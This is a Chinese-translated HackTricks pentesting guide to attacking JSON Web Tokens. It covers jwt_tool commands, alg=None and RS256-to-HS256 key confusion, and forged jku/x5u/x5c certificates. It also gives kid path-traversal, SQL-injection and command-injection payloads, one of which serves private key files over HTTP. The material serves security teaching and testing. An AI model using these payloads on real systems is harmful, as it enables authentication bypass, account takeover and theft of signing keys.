hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

16 KiB
Raw Blame History

JWT Vulnerabilities (Json Web Tokens)

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

如果你对 黑客职业 感兴趣并想要攻克不可攻克的目标 - 我们正在招聘! (需要流利的波兰语书写和口语能力).

{% embed url="https://www.stmcyber.com/careers" %}

本帖部分内容基于以下精彩文章: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT 渗透测试的优秀工具作者 https://github.com/ticarpi/jwt_tool

快速胜利

运行 jwt_tool 并选择模式 All Tests!,然后等待绿色行输出。

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

如果你运气好的话工具会找到一些网络应用程序错误检查JWT的情况

然后你可以在你的代理中搜索请求或者使用jwt_ tool转储该请求中使用的JWT

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

您还可以使用 Burp Extension SignSaboteur 从 Burp 发起 JWT 攻击。

在不修改任何内容的情况下篡改数据

您可以仅篡改数据保持签名不变并检查服务器是否在检查签名。例如尝试将您的用户名更改为“admin”。

令牌是否被检查?

要检查 JWT 的签名是否被验证:

  • 错误消息表明正在进行验证;应检查详细错误中的敏感信息。
  • 返回页面的变化也表明正在验证。
  • 没有变化表明没有验证;这时可以尝试篡改有效负载声明。

来源

通过检查代理的请求历史,确定令牌是服务器端生成还是客户端生成非常重要。

  • 从客户端首次看到的令牌表明密钥可能暴露于客户端代码中,需要进一步调查。
  • 来源于服务器端的令牌表明过程是安全的。

持续时间

检查令牌是否持续超过 24 小时……也许它永远不会过期。如果有“exp”字段请检查服务器是否正确处理它。

暴力破解 HMAC 密钥

查看此页面。

将算法修改为 None

将使用的算法设置为“None”并移除签名部分。

使用 Burp 扩展“JSON Web Token”尝试此漏洞并更改 JWT 内部的不同值(将请求发送到 Repeater在“JSON Web Token”选项卡中可以修改令牌的值。您还可以选择将“Alg”字段的值设置为“None”

将算法 RS256非对称更改为 HS256对称CVE-2016-5431/CVE-2016-10555

算法 HS256 使用密钥对每个消息进行签名和验证。
算法 RS256 使用私钥对消息进行签名,并使用公钥进行身份验证。

如果将算法从 RS256 更改为 HS256后端代码将使用公钥作为密钥然后使用 HS256 算法验证签名。

然后,使用公钥并将 RS256 更改为 HS256我们可以创建一个有效的签名。您可以通过执行以下操作来检索 Web 服务器的证书:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

New public key inside the header

攻击者在令牌的头部嵌入一个新密钥,服务器使用这个新密钥来验证签名 (CVE-2018-0114)。

这可以通过 "JSON Web Tokens" Burp 扩展来完成。
(将请求发送到 Repeater在 JSON Web Token 标签中选择 "CVE-2018-0114" 并发送请求)。

JWKS Spoofing

这些说明详细描述了一种评估 JWT 令牌安全性的方法,特别是那些使用 "jku" 头部声明的令牌。该声明应链接到包含令牌验证所需公钥的 JWKS (JSON Web Key Set) 文件。

  • 评估带有 "jku" 头部的令牌
  • 验证 "jku" 声明的 URL以确保它指向适当的 JWKS 文件。
  • 修改令牌的 "jku" 值,以指向一个受控的网络服务,从而允许流量观察。
  • 监控 HTTP 交互
  • 观察对您指定 URL 的 HTTP 请求,表明服务器尝试从您提供的链接获取密钥。
  • 在使用 jwt_tool 进行此过程时,务必更新 jwtconf.ini 文件,添加您的个人 JWKS 位置以便于测试。
  • jwt_tool 的命令
  • 执行以下命令以使用 jwt_tool 模拟场景:
python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

一个可选的头部声明 kid 用于识别特定密钥,这在存在多个密钥用于令牌签名验证的环境中尤为重要。该声明有助于选择适当的密钥来验证令牌的签名。

Revealing Key through "kid"

当头部中存在 kid 声明时,建议在网络目录中搜索相应的文件或其变体。例如,如果指定了 "kid":"key/12345",则应在网络根目录中搜索文件 /key/12345/key/12345.pem

Path Traversal with "kid"

kid 声明也可能被利用来遍历文件系统,可能允许选择任意文件。可以通过更改 kid 值以针对特定文件或服务来测试连接性或执行服务器端请求伪造 (SSRF) 攻击。通过使用 -T 标志在 jwt_tool 中篡改 JWT 以更改 kid 值,同时保留原始签名,可以实现如下所示:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

通过针对具有可预测内容的文件可以伪造有效的JWT。例如Linux系统中的/proc/sys/kernel/randomize_va_space文件,已知包含值2,可以在kid参数中使用2作为JWT生成的对称密码。

通过“kid”的SQL注入

如果kid声明的内容用于从数据库中获取密码,则可以通过修改kid有效负载来实现SQL注入。一个使用SQL注入来改变JWT签名过程的示例有效负载包括

non-existent-index' UNION SELECT 'ATTACKER';-- -

此更改强制使用已知的秘密密钥ATTACKER进行JWT签名。

通过“kid”的OS注入

kid参数指定的文件路径在命令执行上下文中使用的场景可能导致远程代码执行RCE漏洞。通过在kid参数中注入命令可以暴露私钥。一个实现RCE和密钥暴露的示例有效负载是

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u和jku

jku

jku代表JWK Set URL
如果令牌使用“jku头部声明,则检查提供的URL。这应该指向一个包含JWKS文件的URL该文件持有用于验证令牌的公钥。篡改令牌以将jku值指向您可以监控流量的Web服务。

首先,您需要创建一个新的证书,带有新的私钥和公钥。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

然后您可以使用例如 jwt.io 来创建新的 JWT使用 创建的公钥和私钥,并将参数 jku 指向创建的证书。 为了创建有效的 jku 证书,您可以下载原始证书并更改所需的参数。

您可以使用以下方法从公钥证书中获取参数 "e" 和 "n"

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。指向一组以 PEM 格式编码的 X.509(证书格式标准)公共证书的 URI。该集合中的第一个证书必须是用于签署此 JWT 的证书。后续证书每个都签署前一个证书从而完成证书链。X.509 在 RFC 52807 中定义。传输安全性是传输证书所必需的。

尝试将此头部更改为您控制下的 URL,并检查是否收到任何请求。在这种情况下,您可以篡改 JWT

要使用您控制的证书伪造新令牌,您需要创建证书并提取公钥和私钥:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

然后你可以使用例如 jwt.io 来创建新的 JWT使用 创建的公钥和私钥,并将参数 x5u 指向创建的 .crt 证书。

你也可以利用这两个漏洞 进行 SSRF

x5c

该参数可能包含 以 base64 编码的证书

如果攻击者 生成一个自签名证书 并使用相应的私钥创建一个伪造的令牌,并将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t那么基本上伪造的令牌将被服务器接受。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

嵌入式公钥 (CVE-2018-0114)

如果JWT嵌入了公钥如下场景所示

使用以下nodejs脚本可以从该数据生成公钥

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

可以生成一个新的私钥/公钥,将新的公钥嵌入到令牌中,并用它生成新的签名:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

您可以使用此 nodejs 脚本获取 "n" 和 "e"

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

最终使用公钥和私钥以及新的“n”和“e”值您可以使用 jwt.io 伪造一个包含任何信息的新有效JWT。

ES256使用相同的随机数泄露私钥

如果某些应用程序使用ES256并使用相同的随机数生成两个jwt则可以恢复私钥。

这是一个示例:ECDSA如果使用相同的随机数与SECP256k1泄露私钥

JTI (JWT ID)

JTI (JWT ID) 声明为JWT令牌提供了唯一标识符。它可以用于防止令牌被重放。
然而想象一下一个情况其中ID的最大长度为40001-9999。请求0001和10001将使用相同的ID。因此如果后端在每个请求中递增ID您可以利用这一点来重放请求需要在每次成功重放之间发送10000个请求

JWT注册声明

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

其他攻击

跨服务中继攻击

已经观察到一些Web应用程序依赖于受信任的JWT服务来生成和管理其令牌。记录到的实例表明由JWT服务为一个客户端生成的令牌被同一JWT服务的另一个客户端接受。如果通过第三方服务观察到JWT的发行或续订则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求中重放获得的令牌,以查看是否被接受。

  • 如果您的令牌被接受,可能表明存在一个关键问题,这可能允许伪造任何用户的帐户。然而,需要注意的是,如果在第三方应用程序上注册,可能需要更广泛测试的权限,因为这可能进入法律灰色地带。

令牌的过期检查

使用“exp”有效负载声明检查令牌的过期。鉴于JWT通常在没有会话信息的情况下使用因此需要小心处理。在许多情况下捕获和重放另一个用户的JWT可能会使该用户冒充。JWT RFC建议通过利用“exp”声明为令牌设置过期时间来减轻JWT重放攻击。此外应用程序实施相关检查以确保处理此值并拒绝过期令牌至关重要。如果令牌包含“exp”声明并且测试时间限制允许建议存储令牌并在过期时间过后重放。可以使用jwt_tool的-R标志读取令牌的内容包括时间戳解析和过期检查UTC中的时间戳

  • 如果应用程序仍然验证令牌,可能存在安全风险,因为这可能意味着令牌永远不会过期。

工具

{% embed url="https://github.com/ticarpi/jwt_tool" %}

如果您对黑客职业感兴趣并想要攻克不可攻克的目标 - 我们正在招聘!需要流利的波兰语书面和口语能力)。

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} 学习和实践AWS黑客技术HackTricks培训AWS红队专家ARTE
学习和实践GCP黑客技术HackTricks培训GCP红队专家GRTE

支持HackTricks
{% endhint %}